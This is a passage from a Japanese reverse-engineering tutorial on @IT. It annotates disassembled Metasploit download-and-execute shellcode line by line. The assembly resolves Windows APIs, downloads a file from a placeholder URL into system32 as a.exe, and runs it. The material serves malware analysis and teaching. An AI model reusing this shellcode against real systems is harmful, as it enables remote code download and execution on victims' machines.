連載
» 2012年02月17日 00時00分 公開

リバースエンジニアリング入門(5):PEフォーマットを解釈せよ! (3/3)

[岩村誠,日本電信電話株式会社]
前のページへ 1|2|3       

レジスタの値を頭に入れながら

 では、シェルコードの続きを見ていきましょう。

 54:   mov  edi, edx                    ; シェルコード末端のアドレスをediに代入
 55:   mov  esi, edi                    ; シェルコード末端のアドレスをesiに代入
 56:   add  esi, 0Eh                    ; “GetSystemDirectoryA”-1
 57:   mov  edx, eax                    ; GetProcAddressのアドレスを代入
 58:   push  4
 59:   pop  ecx                         ; ecxに4を代入
 60:   call  sub_DC                     ; sub_DCの呼び出し
 61:

 60行目でsub_DCを呼び出していますね。このsub_DCを呼び出す直前のレジスタの値は、以下のようになります。

・esi シェルコード末端の文字列“GetProcAddress”の直後のアドレス
・edi シェルコード末端の文字列“GetProcAddress”の先頭のアドレス
・edx GetProcAddress関数のアドレス
・ecx 4
・ebx kernel32.dllのベースアドレス

 では、sub_DCはどうなっているでしょうか?

102: sub_DC    proc near
103:   xor  eax, eax                    ; eaxを0に初期化
104:   lodsb                            ; esiから1バイト読み出しalに代入しesiをインクリメント
105:   test  eax, eax
106:   jnz  short sub_DC                ; eaxが0でないときはsub_DCへジャンプ
107:   push  ecx                        ; ecxをスタックに退避
108:   push  edx                        ; edxをスタックに退避
109:   push  esi                        ; esiの値をスタックにプッシュ
110:   push  ebx                        ; ebxをスタックにプッシュ
111:   call  edx                        ; edxが指す関数の呼び出し
112:   pop  edx                         ; edxをスタックから復元
113:   pop  ecx                         ; ecxをスタックから復元
114:   stosd                            ; eaxをアドレスediに格納し、ediを4バイト加算
115:   loop  sub_DC                     ; ecxをデクリメントし、ecxが0でなければsub_DCへジャンプ
116:   xor  eax, eax                    ; eaxを0に初期化
117:   retn
118: sub_DC    endp
119:

 まず103〜106行目では、アドレスesiが指すバイト値が0になった時点まで、esiをインクリメントしています。これにより、初めて0が出てきたバイト値の次のバイト値をesiが指した状態で、繰り返し処理が終了します。ここでは、シェルコード末端にある文字列“GetSystemDirectoryA”の先頭を、esiが指した状態になります。

 107〜108行目ではecx、edxレジスタをスタックに退避しています。さらに109〜110行目でesi(文字列“GetSystemDirectoryA”の先頭アドレス)とebx(kernel32.dllのベースアドレス)をスタックに積み、111行目のcall edxによりGetProcAddress関数を呼んでいます。ここでGetProcAddressの型を見てみましょう(http://msdn.microsoft.com/ja-jp/library/cc429133.aspx)。

FARPROC GetProcAddress(
  HMODULE hModule,    // DLL モジュールのハンドル
  LPCSTR lpProcName   // 関数名
);

 1番目の引数はDLLモジュールのハンドルとなっていますが、これはDLLのベースアドレスです。また2番目の引数はアドレスを取得したい関数の名前です。

 Win32 APIの呼び出し規約(MS stdcallと呼ばれます)では、関数の引数は後ろから順(ここでは【関数名】、【DLLモジュールのハンドル】の順)にスタックへ積み、関数から戻ってきた後は、引数として積んだ分のスタックが巻き戻った状態になります。また関数の戻り値が存在する場合は、eaxにその値が格納されることになっています。

 ここで注意が必要なのは、eax以外にも、ecx、edxレジスタはWin32 APIを呼び出している最中に内容が変更される可能性があることです。このためシェルコードでは、まず107〜108行目でecx、edxの両レジスタをスタックに退避し、112〜113行目でそれらの値を復元しています。

 111行目のcall edxの実行後は、 GetProcAddress関数によりGetSystemDirectoryA関数のアドレスがeaxレジスタに格納されます。そして114行目のstosd命令によってediが指す領域にeaxの内容が保存され、ediが4バイト分加算されます。

 その後115行目でloop sub_DC命令が実行されます。ecxの内容は4でしたので、102〜115行目の処理を4回繰り返すことになります。つまり、シェルコード末端にある4つの関数名“GetSystemDirectoryA”“WinExec”“ExitThread”“LoadLibraryA”について、アドレスが解決されることになります。

 シェルコードの続きを見てみましょう。

 62:   add  esi, 0Dh                    ; 文字列“urlmon”のアドレスをesiに代入
 63:   push  edx                        ; edxの値をスタックに退避
 64:   push  esi                        ; 文字列“urlmon”のアドレスをスタックへプッシュ
 65:   call  dword ptr [edi-4]          ; LoadLibraryA(“urlmon”)の呼び出し
 66:   pop  edx                         ; edxの値をスタックから復元
 67:   mov  ebx, eax                    ; urlmonのモジュールハンドルをebxに代入
 68:   push  1
 69:   pop  ecx                         ; ecxに1を代入
 70:   call  sub_DC                     ; sub_DCの呼び出し
 71:

 今度は、urlmonをLoadLibraryAによりロードし(62〜65行目)、このベースアドレスをebxに設定(67行目)した状態でsub_DCを呼び出すことで、“URLDownloadToFileA”のアドレスを取得しています。

 次は、URLDownloadToFileA関数を呼び出すための準備です。

 72:   add  esi, 13h                    ; “URLDownloadToFileA\0”の文字数(13h)をesiに加算
 73:   push  esi                        ; esiをスタックに退避
 74: loc_A3:
 75:   inc  esi                         ; esiをインクリメント
 76:   cmp  byte ptr [esi],  80h
 77:   jnz  short loc_A3                ; [esi]が80hではないときはloc_A3へジャンプ
 78:   xor  byte ptr [esi],  80h        ; [esi]をNULL文字に変換
 79:   pop  esi                         ; esiをスタックから復元
 80:

 72〜79行目では、シェルコードの末端に格納されているURLの終端文字(80h)を、80hと排他的論理和(XOR)を取ることで、NULL文字に変換しています。これによりURLDownLoadToFileA関数に渡すURLの準備ができました。次は、ダウンロードしたファイルを保存するファイル名を生成します。

 81:   sub  esp, 20h                    ; espを20h減算
 82:   mov  ebx, esp                    ; espをebxに代入
 83:   push  20h                        ; スタックに20hを積む
 84:   push  ebx                        ; ebxをスタックに積む
 85:   call  dword ptr [edi-14h]        ; GetSystemDirectoryA関数の呼び出し
 86:   mov  dword ptr [ebx+eax], 'e.a\'
 87:   mov  dword ptr [ebx+eax+4], 'ex' ; システムディレクトリ名の末尾に“a.exe”を追加

 81〜85行目で、GetSystemDirectoryA関数によりシステムディレクトリ名を取得し、86〜87行目で、システムディレクトリ名の直後に“\a.exe”を追加しています。次がいよいよ最後です。

 88:   xor  eax, eax                    ; eaxを0に初期化
 89:   push  eax                        ; NULL(lpfnCB)をスタックに積む
 90:   push  eax                        ; NULL(dwReserved)をスタックに積む
 91:   push  ebx                        ; ebx(“C:\\WINDOWS\\system32\\a.exe”へのポインタ)をスタックに積む
 92:   push  esi                        ; esi(“http://hoge.com”へのポインタ)をスタックに積む
 93:   push  eax                        ; NULL(pCaller)をスタックに積む
 94:   call  dword ptr [edi-4]          ; URLDownloadToFileAの呼び出し
 95:   mov  ebx, esp
 96:   push  eax                        ; 0(uCmdShow)をスタックに積む
 97:   push  ebx                        ; ebx(“C:\\WINDOWS\\system32\\a.exe”へのポインタ)をスタックに積む
 98:   call  dword ptr [edi-10h]        ; WinExec関数の呼び出し
 99:   push  eax                        ; 0(dwExitCode)をスタックに積む
100:   call  dword ptr [edi-0Ch]        ; ExitThread関数の呼び出し

 まず88〜94行目で、URLDownloadToFileA関数を呼び出すことでシステムディレクトリにa.exeファイルを生成します、そして95〜98行目にて、このa.exeをWinExec関数で実行します。最後となる99〜100行目では、ExitThread関数を呼ぶことで、シェルコードが動作しているスレッドを終了させています。

方法はこれだけじゃないけれど

 最後は駆け足になりましたが、今回はdownload_exec.binのシェルコードを一通り見てみました。

 Metasploit Frameworkに含まれるシェルコードの中には、今回とは違ったAPIのアドレス解決方法を用いるものがあります。ただ、PEファイルのエクスポートディレクトリを参照するという点では共通していますので、ぜひ今回得た知識を、今後の解析作業で生かしていただければと思います。

 では、また次回をお楽しみに。

筆者紹介

NTT情報流通プラットフォーム研究所

岩村 誠(いわむら まこと)

2002年 日本電信電話株式会社入社。学生時代にセキュリティホール対策に魅せられ、現在は新たなマルウェア対策技術の研究開発を推進。「アナライジング・マルウェア」執筆の言い出しっぺ、らしいが、当時は酔っぱらっていて正直あまり覚えていない(^^;



前のページへ 1|2|3       

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。